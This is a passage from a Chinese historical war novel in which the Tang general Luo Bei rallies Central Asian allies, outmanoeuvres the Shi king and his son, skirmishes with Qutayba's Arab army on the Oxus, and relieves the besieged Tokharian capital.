“屈底波已经动手,只怕短时间内不会给我夺取他的城池的机会。”洛北起身,从书架上取出一副稍小的地图,铺开在桌上:“为了争取时间,他也会带骑兵立刻奔袭吐火罗军。我们会在途中对撞——鹿死谁手,到时就知道了。” 裴伷先颔首:“那我们的那些步兵去何处?我还准备了不少攻城设施呢。” “孝嵩。”洛北指向一条向西的道路,“你带着步兵,到昭武九姓去。在康国有一位我们的盟友正在等待着你。他叫乌勒伽,是一位卓有作为的粟特王公,已经厌倦了现任康国国王突温对大食人的卑躬屈膝。只要大唐的旗帜飘扬在河中地区,他立马就会号召康国的民众起来反对突温。” 张孝嵩知道他在西域广有经营,却不知道他已经做了这样的安排:“这你都安排好了?可大食人狡诈如此,若是他背盟呢?” 洛北笑了笑,另从书桌上取出一卷羊皮卷,递给张孝嵩: “我与他本人在祆神的寺庙中,在祭司的见证下同签了一份汉语和粟特语的双语盟约。孝嵩若不见他起事,可将盟约内容宣扬出去,逼他背水一战。不过我猜,他是不会背盟的。” 张孝嵩接过文书:“好,那我这就准备出发去康国。” 洛北击了击掌,将正在架子上打盹的金雕唤来肩上,在一张白纸上写下几行突厥文字,又将它放飞了出去。 第183章 “这才叫威胁,对吗?石国国王,大宛都督莫贺咄吐屯?” 景龙六年的四月初三, 洛北率领亲兵一路疾驰,到达了此行的第一站,千泉城。 彼时夕阳红了万里晴空, 洛北遂命大军在千泉城外就地修整, 安营扎寨。 千泉城地域方圆两百余里,南面是圣洁的雪山,其余皆是一马平川。平原之上,处处土地肥沃,水源充沛。 他们到来之时, 正是暮春时节,泉水蓄积的池塘盈满了清澈的湖水,水源滋养着此地一望无际的草原和林木。成群结队的驯鹿穿行其间, 见到来人,也不避开,只用一双比湖水还清澈的眼眸望着他们。 洛北摘下一把树木的嫩叶, 还未及下马, 已被几只驯鹿围了上来。他伸手一按马鞍,打了个翻身才从驯鹿群中脱身而出。 那些驯鹿吃完他手中的嫩叶,有的心满意足地离开,有的干脆反客为主, 在他身边靠了下来,等着眼前这个陌生人给它们带来更多的食物。 “伯克, 您看我找到了什么?”阿拔思前年冬日迎娶了兴昔部族的女郎为妻,如今算作是洛北的部族的子弟,一回到西突厥汗国的昔日疆域, 他也改了口中称呼。 此刻,他正捧着一只锈迹斑斑的铜驼铃, 献宝似的拿到洛北面前:“上面好像有突厥文字的遗迹,但我实在辨认不出来。” 洛北接过他手中的驼铃,仔细地打量一番:“好像是凡我臣民,敢加杀害,有诛无赦。” “谁写的这样严厉的命令?”阿拔思好奇发问。 洛北揉搓了一下身边驯鹿毛茸茸的脑袋,站起身来:“统叶护可汗。此地曾经是他的夏日王庭所在。他常常到这里来避暑。相传,他喜爱豢养驯鹿,还为自己的驯鹿套上铃环,并下了命令臣民不可杀害它们。所以这些鹿都十分亲人。” 阿拔思学着他的样子,大胆地揉搓了几下驯鹿的脑袋,这样大大的动作立刻引起了鹿群的注意,又有好几只驯鹿走过来,轻轻用脑袋蹭他的衣袍,甚至有鹿拽着他的衣角,把他往树边扯: “喂,喂,再拉,衣服要破咯!这可是我前年结婚的时候才做的新衣服!”阿拔思把衣袍从它们口中夺回来。 洛北看他这副狼狈样子,只得取下一把嫩叶,才堪堪把这群驯鹿引开: “阿拔思,传我的将令,大军在此修整两日,再行出发。两日之间,我准许将士们随意离队露营行猎,但须严守军纪,除了军需官外,不得进入城中打扰百姓。” 命令一下,一众士兵欢欣鼓舞。在数日不停的连续快速行军之后,他们终于得到了一个放飞的机会。他们约着三五好友,一同去原野上狩猎露营。 “等到战事平定,伯克也应当常常到这里来。”阿拔思从自己射中的野狐身上拔下自己的羽箭,把狐狸倒提起来,高高地挂在自己的马鞍上:“此地沃野千里,绿树成荫,实在是个再好不过的地方。” “我不能这样做。”洛北轻轻地叹了口气:“不过,若是你喜欢此地,此战之后,我可以把你封到这里来做镇守使。” “为什么不能?”阿拔思眨了眨眼睛。 洛北笑了,他在地上草草绘出千泉、碎叶及金山的位置,又添了一条伊丽水横贯其中: “千泉城在石国之北,地极西倾,甚至远离金山——牧民们是不能,也不会抛弃金山下的金色草原、伊丽水的茂密河谷,陪可汗到这千泉城来的。千泉也养活不了那么多的人口。所以,我不能常驻此地。” 他站起身,声音轻得几乎要散在风里: “统叶护可汗控弦十万,南征北战,是西突厥的一代雄主,却最终死于内乱,也与他定都太西有关。为人君主者,是不好随心所欲的啊。” 阿拔思笑道:“伯克想得太远了,我看您就是来住几个夏天也没有什么大不了。” 他话未说完,洛北已将腰间唐刀抽了出来,他回过身去,以刀锋指着密林深处:“谁在哪里?滚出来!” “请伟大的乌特特勤原谅。”从密林中走出数个身形高大的青年,为首者一身锦袍,腰系多宝蹀躞带,褐发白肤,一双棕色眼睛正不住地在洛北和阿拔思之间转来转去:“我是石国王子,伊奈吐屯屈勒,我奉父亲石国国王即大唐大宛都督的命令,驻扎此地,迎接特勤的军队,并无不恭敬的意思。” “伊奈吐屯”在突厥语中的意思是“小吐屯”,说明眼前这位王子正是昔年西突厥汗国派往昭武九姓之地的监国吐屯后裔。 洛北很容易就能从他脸上捕捉到粟特人和突厥人的特征,当下把手边唐刀收回鞘内:“我听过你的名字。” 屈勒躬身道礼:“不胜荣幸。父亲与我也都听过特勤战无不胜,攻无不克的大名。看来此次吐火罗有救了!” 他见洛北并无面露不快,立刻抓住机会,向洛北喋喋不休地诉说起大食征服河中以来的种种可怕举措,又提到捺塞的反叛: “吐火罗国相捺塞本已被屈底波所擒,为了活命,他甚至征发吐火罗军队为屈底波效命。可去年冬天,他突然跑了回来。还给我们写了信,要我们合兵共击大食。” 洛北望了他一眼:“你们不打算出兵?” “捺塞国相虽然忠心耿耿,也很有能力,可是,他的兵马不是屈底波的对手。”屈勒道,“如今特勤既率军到此,昭武九姓的诸国都愿以特勤马首是瞻!” 洛北似笑非笑地望了他一眼:“那你和你父亲准备用多少兵马随我出征呢?” “父亲已有命令,命令我将麾下五千将士都带往战场,随特勤征战。” 被洛北那双流金般的琥珀色眼眸一扫,屈勒的心忍不住揪了起来,但此事是他与父亲早早定下的策略,他还是硬着头皮把话说完了。 “真的吗?”洛北貌似随意地向一边的阿拔思伸出手,要过那副弓箭,而后他弯弓如满月,向密林深处放出一箭。 百步开外,一只立于枝头的小雀感到一阵疾风自爪下掠过,它展开双翼,稳住身形扑腾了两下,才在动荡的枝头稳住自己,畅快地发出一阵清脆的声音。 在它前方,羽箭将一枚叶片牢牢地定在树干上——那原是在小雀栖身的枝头上一枚最高的叶片,如今小枝尚在,小雀欢唱,树叶已经在洛北放出的羽箭之上了。 屈勒忍不住咽了口吐沫:“特勤……” “我不会在此地多做停留。”洛北把弓箭还给阿拔思,并不转头看屈勒,“等到突骑施部的两位首领一到,我就会立刻转道拔汗那,穿过那里直奔吐火罗首府阿缓城。你还有几天时间和你的父亲商量一番。” “特勤,我……”屈勒半真半假地做出一副为难模样,“父亲已经做下的决定,我也不好违背。” 洛北语气平静:“我对你们父子的家事没兴趣,我只提醒你一件事,我既是西突厥十姓可汗阿史那献的长子,你们的部族之长,也是大唐的安西副大都护,你们的顶头上司——我要求你们出兵协助,你们可以不来。等到战后分功之时,我自有明断。” 屈勒脸色陡变,洛北荡平突骑施之后废除乌质勒汗系,天下皆知——突骑施部经略西域多年,又先发制人,尚且不是洛北的对手,何况一个小小石国:“将军是在威胁我吗?” “威胁?谈不上。”洛北笑了一声,陡然抽出腰间唐刀,顺着转身之势挥出一道刀光,划过屈勒左侧随从蒙脸的巾布。 未及屈勒与他的随从反应,他已向下挽了半个刀花,反手横握在手中,刀锋牢牢地架在了那随从的脖颈上:“这才叫威胁,对吗?石国国王,大宛都督莫贺咄吐屯?” 莫贺咄吐屯本想以笑赔罪,奈何那柄陨铁唐刀锋利如冰,抵着他的喉咙,让他几乎发不出声音。他连着咽了两口吐沫,才从喉咙中挤出一句话:“特勤这双眼睛确是有祆神赐福,我,我向您赔罪。请求,请求乌特特勤的饶恕。” “对上不恭,冒名欺诈,在突厥是什么罪名?在大唐又是什么罪名?” 洛北的声音平静得一如往常,莫贺咄吐屯却从其中听出了森然之意:“我愿发全国之兵,随同特勤出征,求特勤饶命,求特勤饶命。” “你全国之兵有数万之众,我要那么多人做什么?”洛北语气轻松,甚至还带着一点笑意,“我只要你父子统率的七千精兵。” 莫贺咄吐屯还未说话,屈勒已经沉不住气了:“特勤怎么知道……” “石国离碎叶不过四百里,要是连这点事情都做不到,我就不是阿史那乌特了。”洛北道,“后勤军费,都不可少,你自己看着办吧。” 他把条件说得如此清楚,那对父子对视一眼,还是莫贺咄吐屯叹气道:“既然是特勤相邀,那我必然从命。” 目送这对父子离开调兵之后,阿拔思终于忍不住问洛北道:“伯克,这对父子未免欺人太甚,您亲自领兵到此,他们竟然敢在您的眼皮底下耍花招!” “当年阿史那贺鲁叛乱时,就曾经在此地与双河一带建牙帐。这些人还用着突厥的官职名称,只怕心里也未必多看得起我这位大唐册封的‘西突厥十姓可汗’之长子。”洛北心如明镜,“他们算准了我急于前往吐火罗,不会在此地多留。要给我一个下马威——若是被他们拿住了,河中地区的那些王公们就会把我们当成随意驱使的武士了。” 阿拔思惊讶道:“那您还让他们随您出兵?万一他们要是……” “他们倒不至于心怀鬼胎,与大食人勾结。大食所收的商税贡赋远在大唐之上。再说了……我这是效法屈底波的故智啊。” 想到那位尚未蒙面的对手,洛北英俊的脸上浮现出了一点笑意,这是一位将军面对棋逢对手的强大对手时,才会有的那种期待: “这样的不安因素,与其放任他们在自己的地方搞事,不如把他们关在身边。” 第184章 “他没有天神的庇佑,他是个独自作战的孤家寡人。我们可以很轻易地击败他,毁灭他。” 两日之后, 苏禄、莫贺达干及哥舒亶等人都率兵到达。千泉城外的一片沃野上,唐军的红色大旗与象征乌特特勤的飞鹰旗遮云蔽日。 莫贺哆吐屯见此情况,终于放弃了一切不切实际的幻想, 与自己的儿子尽率国中精兵七千人, 随同洛北出征。 有石国“珠玉在前”,昭武九姓之地的粟特王公们纷纷效仿,争先恐后地派出使节,要求洛北准许他们派兵随行。洛北却将他们的“好意”尽数拒绝: “行军打仗,不是兵多者胜, 而是善于将兵者胜。” 几乎与此同时,吐火罗阿缓城外的大营中,大食的呼罗珊总督屈底波从粟特商人们那里得知了大唐即将出兵吐火罗的消息, 他们聚集在他的大帐中,你一言我一语地讲述洛北的故事。 “那位年轻的大唐将军,伟大的乌特特勤, 相传拥有一双祆神赐福的金色眼睛, 他攻无不克,战无不胜,如今他提领大军向您攻来,您应该早做防备才是。” 屈底波坐在他的宝座上, 端过一杯由女奴奉上的美酒,轻轻抿了一口。 与他那位远在石国的对手不同, 四十岁的屈底波出生在大食的一个小小部族之中。 他没有自己的部族兵马,也未能拥有一支效忠自己的庞大亲军。他是在大食的伊拉克总督哈贾吉镇压库法等地的暴乱中崭露头角,并凭借战功, 一步步攀升到现在的位置上的。 屈底波是一个以战争立身的将军,委派他来此的哈里发很清楚这一点。而屈底波也没有辜负哈里发的期望: 刚刚到达呼罗珊任职的第一日, 他就把自己麾下的部将、各部的首领,以及那些成年的大食男子都召集起来,向他们发表慷慨激昂的演讲: “正教徒们,天神引领你们来到这里,就是为了壮大正信,神通过你们的奋战来守护神圣的事物,通过你们的奋战来增盈财富,并且狠狠惩罚敌人。” “在战争牺牲的所有人,你们的死亡提供你们的新生,正如经文所言:‘为主道而阵亡的人,你绝不要认为他们是死的,其实,他们是活着的,他们在神明那里享受给养。’。” “这是伟大先知的记述,也是神明予以你们的责任,你们要完成祂的意愿,要适应长途跋涉,忍受艰难困苦,也要小心谨慎,不可松懈。” 从那一年开始,每年春日,他都组织一支军队越过乌浒水,征讨吐火罗及河中地区的城邦。到了七年之后的这一年,他已经吞并了包括毕国、安国,以及大部分吐火罗的领土。 在一些地方,他设置大食人居住的城市,在一些地方,他捣毁当地的神庙和建筑,拆掉居民们绘有异族神像的门,将上面的神像抹去。更多的地方,他依旧任用当地的王公和官僚统治,只要他们能准时交上庞大的贡税。 还有一些地方,他进行了惨无人道的大屠杀,将城中的男子尽数屠灭,把百里城池化为焦土。 恐惧、收买、谈判……只要有利于他的征服,他乐于采用一切见光的见不得光的手段。所以听到大唐将军率兵而来的消息时,他没有什么动容: “他有多少人?” “据说他带着自己的亲兵,他们都是身经百战,精通骑射的骑兵。大约有四五千人。” 他帐中的粟特商人向他解答——粟特商人穿梭丝路之上,拥有自己的情报渠道。 “还有突骑施部的两万精兵,西域各部的兵马四万多精兵,他又从石国征调了他们的军队,加起来约有八来万人。总督,您得早做准备。” 大食人的大帐为这敌人的数量升腾起一片叽叽喳喳的议论。在他们征服河中的道路上,他们还没有与这样一支庞大的骑兵迎面对战过。 屈底波的脸上神情平静:“你刚刚说他是大唐的将军,又是突厥的王子?这是什么原因?” “总督啊,他同他的父亲都是西突厥大汗室点密大汗的嫡系子孙。自西突厥灭亡以来,家族世代为唐廷效力。”粟特商人道。 屈底波微微弯起了一点唇角:“可我记得你说过,在草原上有一个突厥人的国家。他们正在和唐人打仗。” “是的。那是东突厥的可汗家族组建的国家。他们叫它‘突厥汗国’。自它在北方诞生之日,它就一直是唐人的死敌。”粟特商人答道。 “这就很奇怪了。”屈底波站起身,向帐中众人道:“我不相信,一个统治草原的民族会甘愿成为唐人的鹰犬。就像石国那对高傲的父子,他们自认是什么神狼的后代,想要恢复突厥汗国的疆域……大唐的将军是不可能驾驭的了他们的。” 帐中的议论声安静下来了,人们都抬起头,听着这位总督发话。在他的话语之间,人们对即将面对庞大骑兵的恐惧忽而消失了。 屈底波很满意他一手缔造的这一切效果,他环顾大帐一圈,又把目光看向了帐中的商人:“这位大唐的将军信仰什么?信仰佛祖?还是和你们一样,信仰火?” 帐中所有人的目光都望向了粟特商人,在一双双眼眸之下,粟特商人感到自己的衣服都汗湿了,他又想到了故乡那些被推倒的神像,被焚烧和毁坏的寺庙: “不,总督,据我所知,他不信仰任何神明,只信仰天地、山神和祖先。每年的三月到六月,他会率领草原上的各部族前往金山祭拜。除此之外,他没有在自己的城市中修筑一座神庙,增添一座神像。” “听到了吗,正教徒们。”屈底波冷笑了一声:“他没有天神的庇佑,他是个独自作战的孤家寡人。我们可以很轻易地击败他,毁灭他——把他的领土变为我们的领土,把他的百姓变为我们的奴隶。” 大帐之中响起阵阵喝彩,在这一片欢欣鼓舞之中,屈底波走出大帐,挥手召开他最信任的副手,也是他自己的弟弟阿卜杜·拉赫曼:“你代我去做一件事……” 拉赫曼自他起兵之时,就随他征战南北,一直对他的判断深信不疑,可这一次听完他的话,第一次抬头怀疑了他:“可是兄长,他们不会……” “他们会和我们合作的。”屈底波道,“你刚刚也听到了,乌特特勤是个为唐廷服务的突厥将军,他自己不信鬼神。你想想,没有信仰的纽带,没有血缘的羁绊,他靠什么组织一支联军的?靠远在千里之外的‘大唐的威势’?还是靠自己人数众多的军队?这样的军队,即使组织起来了,也很容易就会被拆散的。” “可是兄长……” 拉赫曼还要说什么,却被屈底波挥手打断,他指着远处城高池深,久攻不下的阿缓城: “一个月了,大食人的军队已经被这座城市困了一个月。这一个月的时间,我们本可以在富饶的河中之地度过。我们可以征服康国,可以讨伐石国……现在我们被困在吐火罗,就是因为捺塞的无耻背叛。” “现在,又有了一个新的变数到来。不管那个乌特特勤的军事能力如何,他的军队是否能和我们战斗,有援军的消息,吐火罗人就又有了坚持的力量,他们就更加不可能出城投降……” 屈底波看着拉赫曼脸上的犹豫神情,恨铁不成钢地拿手指了指自己和拉赫曼: “我们不能让正教徒们攻克这座城的希望化为泡影,否则你和我,我们都会死无葬身之地。” 因为屈底波大军的团团围困,阿缓城内的吐火罗子民,并不知道有一支军队正在向此地疾驰而来。 吐火罗叶护阿史那都泥利如往常一样在他的卧房中醒过来,等候已久的粟特宦官立刻为他奉上今日的早餐。 与之前的一个月一样,银碟子里摆的是三块面饼,金瓶里呈的是一小瓶葡萄酒。一块奶酪孤独地放在一只美丽的瓷碟中,阿史那都泥利对着上面的蝴蝶眨了眨眼——蝴蝶依旧停在瓷碟上,没有振翅而飞。 “城中的粮草已经不多了吧。”他问给他送饭的粟特宦官。“国相还没有打算投降吗?” 粟特宦官有捺塞的命令,此时只是一言不发。 阿史那都泥利连问了几句,得到的都只是一片沉默,他恼羞成怒地一拍桌子:“既然你不肯说话,那就叫捺塞来见我!我当面问他!他是不是也想把城中百姓也变成屈底波的军功才肯罢休!” 粟特宦官终于开口了:“国相去巡查工事了。” “工事只能抵挡敌人,是变不出粮草的!”阿史那都泥利简直是在嘶吼:“他的家财支撑不起这场战争,他该收手了。” “国相说,会有援军的。”粟特宦官答道。 这几日的对话无不以这样的一句话结束,每一次阿史那都泥利都被噎得哑口无言,到了今天,他终于想到了应对的策略: “援军在哪?!在这鸽子都飞不出一只的阿缓城里,他指望谁来援助他?粟特王公们只会指望我们与大食人互拼到两败俱伤,好让他们收取渔翁之利。石国的那对父子早就想占据吐火罗。除了他们……捺塞还能指望谁?” 粟特宦官不再说话。他一言不发地退了出去,从腰间的一串钥匙中取出一把金钥匙,锁住了卧房的大门,留阿史那都泥利在卧房中歇斯底里。 自卧房向外走出一刻功夫,便到了城墙之上。捺塞正带着众士兵加固城墙。他的双眼发红,额头青筋暴起,已经很久没有得到好好休息—— 好几天夜里,屈底波都派大食人前来夜袭。他们在城墙下方向上方射出箭雨,把土墙扎出了许多小洞,只要小洞足够多,雨水、大风加上重物……任何一个因素都可能让城墙垮塌。 “他这么说吗?”捺塞把那串钥匙锁进自己腰间的荷包里,深深地叹了口气,“随他去吧……” 他望向远处,葱岭高山丛立,连飞鸟都不多见,何况是骑兵。 但有那么一瞬,他有一点错觉,他错愕地转过头,发现是一只金雕展开双翼,划过晴朗的蓝天。 “怎么了,国相?”那个粟特宦官问他。 “不……没什么,我好像,听到马蹄声了。” 第185章 “你们和两位突骑施首领一道走,我和阿拔思给你们断后。” 一行六人的小队, 打马自山林间穿梭而下。 四月中旬,天色骤暖,冰川融化的积雪滋养着他们眼前的这一片荒野。乌浒水自原野间川流而过, 孜孜不倦地奔向远方。 洛北在骏马背上向下遥望, 屈底波的大营扎在河滩之上,营帐连绵不绝——大食人还未像大唐人那样有修筑严密工事的习惯,他们在营帐周围竖起篱笆,又配以几队士兵巡逻。 洛北将军队化整为零,由各部队正率领, 分批翻越过吉萨尔山脉,又在乌浒水沿岸汇合。 出于他一贯的谨慎,洛北决定把大营扎在喷赤河上游的葱岭之下, 与屈底波的军队隔着阿缓城遥遥相望。 在此行之前,哥舒亶、苏禄、莫贺达干和阿拔思等人都聚集在他的大帐中商议战略。 吴钩在地图前给他们分享了大食人的兵力:屈底波手下约有四万人,他们都在此前征服河中的行动中发了财, 得以购买精良的装备, 不过拥有全身盔甲的人还是少数,大部分人都穿着长袍和头巾作战。 这些士兵都以部族的形式被编在一起。其中有七千来自库法的士兵与释奴。他们是屈底波从库法带出来的家底,随他征战多年,是他得以掌控呼罗珊军队主导权的关键。 “大食人不是好对付的对手啊。”突骑施部的苏禄还是第一次在洛北这位昔日敌人的麾下征战, 此刻他下意识地感叹了一句,却突然意识到自己不在突骑施牙帐中:“请特勤宽恕我的无礼。” “无妨, 苏禄将军,我想听听你的观点。”洛北用那双金色的眼眸望了他一眼,似乎在确认他的话是否发自真心。 苏禄被这一眼弄得越发诚惶诚恐起来。 坦白而言, 洛北并不像一个传统的突厥将军,那些人往往只顾着率领自己的亲兵一路向前, 对自己麾下的各部首领除了催促和命令别无二话。 他会把士兵们再度打散,分到各队之中,由那些他一手教导出来的队正管辖。那些人懂突厥话,知道各部的风俗,也懂得如何作战、如何保养弓箭、如何照料马匹……几乎在月余之间,这支自各部征调而来的军队便成为了一支沉默但团结的大军。 但即使再开明的突厥将军,也不会给在自己手下吃了败仗的部族首领发言的机会。像他们这样曾经与主帅为敌的战败部族,一向只能在战争中充当垫脚石。 因此苏禄格外珍惜这次发言的机会,他又盯着地图看了半晌,才道:“如今我军大举而来,兵力上胜过屈底波。我们应当派部队自山区绕行他身后,左右夹击,将屈底波的军队吃掉。” “这可不妥。”哥舒亶反对他的意见,此时也自然而然地站到了地图边,“屈底波的军队一路征讨,基本没碰到过败仗。他的军队士气正盛,咱们不能上去和他们硬碰硬。不如依托阿缓城,在城外打他们几个伏击。先解开阿缓城之围,再说其他。” 莫贺达干见他们讨论得热闹,也忍不住加入进来:“我看,不如先从后面断了他的粮道,把他们围起来……” “莫贺达干在说笑了。”阿拔思也加入进来,“吐火罗叶护对吐火罗各地的统治并不牢靠,不然捺塞也不会被困在这座阿缓城中。如果有几个吐火罗的城主率兵来援,就会把我们搞得很被动。我也赞成哥舒将军的想法,先解阿缓城之围,再做其他。” 伊奈吐屯屈勒摇了摇头:“阿拔思将军说的那种情形,可能性不大。屈底波愤慨于捺塞的背叛,一路征伐而来时,将许多参与此次反叛的人钉死在木桩上。他残暴如此,吐火罗各地的领主们,应当不至于再去与他同流合污……” “不好说啊,”他的父亲,莫贺咄吐屯皱着眉摇了摇头。哥舒亶在这里,让他想起了之前以酷烈著称的阿史那斛瑟罗,“只要阿缓城之围不解,吐火罗各地的领主们便要面对捺塞国相失败的可能,在这样的恐惧之下,那些人肯定会积极与自己的敌人媾和。” 话题说到这里,各人的观点都发表完了。他们各执己见,谁也不能说服谁,大帐中陷入一阵诡异的沉默,众将领一个个地把目光望向洛北。他正坐在所有人背后,沉默地望着那张地图。 “特勤,阿缓城已被围城一月之久,只怕留给我们的时间不多了。”哥舒亶与他相识已久,见他久久不语,终于大胆地试探了一句。 “这样大规模的行动,是值得深思熟虑的。”洛北终于站起身,扫视了一圈营帐之中:“我们对大食人,还是了解得太少。我打算前去探查敌营,诸位将军,有谁愿意与我同去呀?” 听他又要以身犯险,吴钩和哥舒亶都下意识地要劝阻。奈何莫贺达干和苏禄动作更快:“我去!” “好啊。”洛北轻轻一笑,“阿拔思将军,从我的亲军中找几个人与我们同行、如何?” 阿拔思抱拳道:“既然是伯克要出大营,我自当随行。我还会叫上叶若叶延兄弟与我一道。” 叶若叶延兄弟都出身吐谷浑部族,是洛北最早的那批卫士中留下来的人。他们一听说洛北要打河中与吐火罗,自愿放弃了留在碧水城掌军的机会,又回到洛北的亲军中来了。 “好。”洛北点头,“记住,我们这次只是去侦察敌营,轻易不要妄动。” 于是现在,天色正好,他们一行六人,在高处仔细观察屈底波的军阵:那些士兵还在自顾自地巡逻,巡视,换岗……并不知道敌人已在密林中监视着他们。 太阳照在洛北等人身上的铠甲上,反射出一阵令人头晕目眩的光辉,来吐火罗及河中之前,洛北花了大本钱给军中的亲兵及将领打造了做工精良的明光铠甲。 “看起来大食人也是玩袭击的行家。”苏禄由衷地感慨道,“你们看,他们的营地只要隔得一远,便又会有队列巡逻。这一大块营地之中,怕不是有数十支小队在同时巡逻!” 阿拔思轻轻笑了:“或许,这也能说明屈底波的权威没有我们想象的那么高。这些不同部族的士兵并不相信其他人的巡逻结果。” 苏禄道:“将军怎么知道他们不是同一部族出身?” “这……”阿拔思被他一噎,一下子没能答上来,只得求助洛北:“伯克觉得呢?” 洛北笑了:“再厉害的神射手也没办法隔着这么远看清他们脸上的模样。要搞明白这个问题,只能离他们再近点。” 他话语尚在空中,双腿已经用力一夹马腹,纵马冲了出去。 阿拔思同叶若叶延各自交换一个眼神,他们对自家主帅毫无办法,只得也放马跟了上去。 莫贺达干与苏禄也不甘示弱。六人就这样你追我赶,一路抵达了屈底波大营的百步之外。 “伯克,这太危险了,我们不能……”阿拔思想劝洛北不要离大食人的军营太近,但他话音未落,洛北已取了一枚白羽大箭在手中,对着营门外的大食将领发出一箭。 弓弦一响,那个大食将领便应声而倒。 “来的是什么人!!”巡营的士兵四下观察,终于发现这一行营门外的不速之客,他们高声以大食话质问着洛北等人的身份。 “大唐安西副大都护洛北,或者你们也可以叫我,阿史那乌特。” 洛北微微抬起下巴,高声以汉话答道,见他们迷惑不解,便又放箭射倒一人。 那些大食士兵终于反应过了,这是来了人找茬。当下便有人转身回营禀报屈底波,剩下的人便上马向他们这边追来,要把这些不速之客留在此地。 “撤。”洛北挥动马鞭,下了退兵的命令,莫贺达干和苏禄已经下意识地勒起马头,要调转方向,见他不动,又把动作僵在半空:“将军……” “叶若叶延,”洛北对他的亲兵发号施令,“你们和两位突骑施首领一道走,我和阿拔思给你们断后。” “将军,这怎么能行!”苏禄开口正要拒绝,洛北却抬起一只手,打断了他的话。那张英俊的脸上平静如渊,却隐隐地露出一场风暴的力量: “这是军令。” 洛北说罢,反身在马背上连发三箭,将追击而来的小队撂下马去。阿拔思也不甘示弱,回身放出两箭。他们羽箭不停,准头又极好。逼得追击而来的这支小队只能左右躲避,甚至有人拔剑格挡,不一会儿,跑来的马匹背上就剩下了空空的马鞍。 在这十来匹骏马之后,巡营士兵已引来了一支极有规模的骑兵部队,向洛北等人追击而来。 洛北与阿拔思肩负断后的职责,一路后撤,一路回身射箭,弓弦一响,便有人应声而倒。 “这些可恶的唐人,一定是得到了魔鬼的帮助!”领军的将领胡里斯忍不住高声抱怨,他连铠甲都没来得及穿,就被叫出来应付这些唐人。 好几次,好几次他手中的羽箭都能落到那两个唐人将军的身上,但他们都披挂了明光铠甲,箭头撞上去,只会发出一声脆响,就会被撞歪在地。可与此同时,他身边的士兵却在接连不断地倒下。 “将军,他们好像在向北走。再追,就要越过乌浒水了,我们还追吗?” 手下的士兵向他禀报。 胡里斯还未想好要不要继续冒险,前面的两个唐人将军已经骑马跃入河水之中,洛北回身再度发出一箭,正中他拿弓的右臂,他先是不明所以,而后一阵剧痛袭击了他的大脑,让他疼得大叫起来: “追,追上这群可恶的唐人。我要把他们钉死在木桩上!” 他率领身后的骑兵纷纷越过乌浒水,一路追着这群唐人向西跑去,忽而从西北面的山坡上冲下来一批又一批的唐军骑兵,天空之中,黑色的飞鹰旗帜和唐军的红色军旗迎风飘扬。 “特勤!”哥舒亶坐在骏马背上,向洛北行礼,“我率军前来迎接特勤归来!” “好啊,哥舒亶。”洛北轻轻一笑,高声下令,“或杀或抓,一个也不要让他们跑了!” 第186章 “他的军队信仰一位战无不胜,攻无不克的军神。” “该死的唐人, 他们一定得到了魔鬼的帮助!” 直到夕阳时分,屈底波才从唐军有意放回来的使节那里得到了此战的最后结果。 他派出的三千人或死或伤或被俘,大将胡里斯被生擒, 做了唐军的第一个大食将军俘虏。 更让屈底波愤怒的是, 洛北还让那个充作使节的士兵给他带来一封亲笔信: “河中、吐火罗皆是我祖先之地,世代受大唐羁縻,为我大唐藩属之国。 你入侵以来,倒行逆施,暴虐不堪, 已是天怒人怨,百神不护。 我已率兵试与你游骑相会,你的军队不堪一击! 望你早日退出乌浒水外, 归还我土,否则天军降临,你追悔莫及。” 信纸上的大食文字飞舞, 好像是那位年轻、意气风发的大唐将军隔空与他对话。 屈底波读完此信, 简直怒不可遏,当即叫人把送信的士兵推出去钉死在木桩上,又向天神发誓道: “天神至大,佑我早日将这狡诈的唐人抓到手中, 以他的血肉祭祀天神。” 下定决心之后,屈底波当即下令将围攻阿缓城的士兵尽数撤回营地, 又将营地后撤,免得唐军日夜袭扰。 被困一月之久的阿缓城,终于等来了援军。 吐火罗国相捺塞大开城门, 迎接洛北入城。他自己则效仿负荆请罪的典故,将自己绑在荆条之上, 跪倒在队列最前: “我向伟大的乌特特勤请罪。” “捺塞国相何罪之有?”洛北骑在马上,笑着问他。 捺塞语气哀沉:“我身为国相,应当履行昔年月氏大都督阿史那乌湿波的遗愿,辅佐君主,驱逐大食。但我无能无奈,不仅未能驱逐大食,还把自己的君主软禁在宫中。这是以下犯上,罪当论斩。” 洛北道:“阿史那都泥利,是我的同族兄弟,也是大唐册封的月氏都督,吐火罗的叶护。你软禁了他,确实是做错了。” “请特勤按律严惩,我绝无二话。”捺塞深深地叩首在地,“但求特勤继承乌湿波老都督的遗志,带兵收复吐火罗故土。我死也无憾。” 他所说的“乌湿波老都督”便是统叶护可汗之孙,大唐册封的第一任月氏大都督。他已在战阵之中亡于大食人之手。 洛北道:“我虽然与乌湿波大都督同宗同族,但毕竟不是他的部族子侄,更不是他的部属,怎么能继承他的遗志呢?” “特勤,将军……我。”捺塞一时语塞,只用一双祈愿的眼睛望着洛北。 洛北轻轻一笑:“捺塞国相,你有志报国,却又以下犯上,这两下功过相抵。我不要你的脑袋,但你得将功折罪,带着你的麾下军将,随我一起征战大食。” 说罢,他自腰间抽出那把削铁如泥的陨铁宝刀,用力一挥,刀光纵横,将捺塞身上荆条断为数截:“捺塞国相,起来吧。” 捺塞虽然身上鲜血淋漓,却推开了部族子弟递来的外袍,又在地上结结实实地磕了个头:“请特勤手中宝刀见证,我愿追随特勤征讨大食。不将大食人逐出吐火罗神圣的国土,我绝不回头!若违此誓,请叫我死于此刀之下!” 他言辞铿锵,字字掷地有声,在场众人听闻,无不动容。洛北脱下身上披的锦袍,放在他肩上:“捺塞国相忠贞如此,是我大唐之幸。” 片刻之后,他们来到吐火罗叶护阿史那都泥利的卧房之前。依旧是那个粟特宦官,从捺塞的手中接过金钥匙,替他们打开了门。 吐火罗叶护阿史那都泥利被囚禁在这卧房之中已有两月时光,眼见大门洞开,光线却被人群遮蔽,只是下意识地一躲:“是,是大食人打进来了吗?” “国君,是伟大的乌特特勤带兵来救援我们啦!” 捺塞喜笑颜开,快步向阿史那都泥利走过去,把他从床上拉了起来。被囚禁的这两月以来,都泥利的生活主旋律就是吃了睡、睡了吃,又比他往日要胖了许多:“你看,这是大唐的将军们。” 阿史那都泥利放眼望过去,一眼就看到了人群中身形最壮的哥舒亶,当即扑过来,一把鼻涕一把眼泪地抱着他的衣袍下摆哭诉: “乌特兄弟,可把你等来了啊……你不知道……” “叶护!”哥舒亶一面心疼他的棉服,一面还要看一边洛北的脸色,“你认错人了!” “啊?”本已哭得眼泪迷蒙的都泥利听到这话,错愕地抬起头望着他。 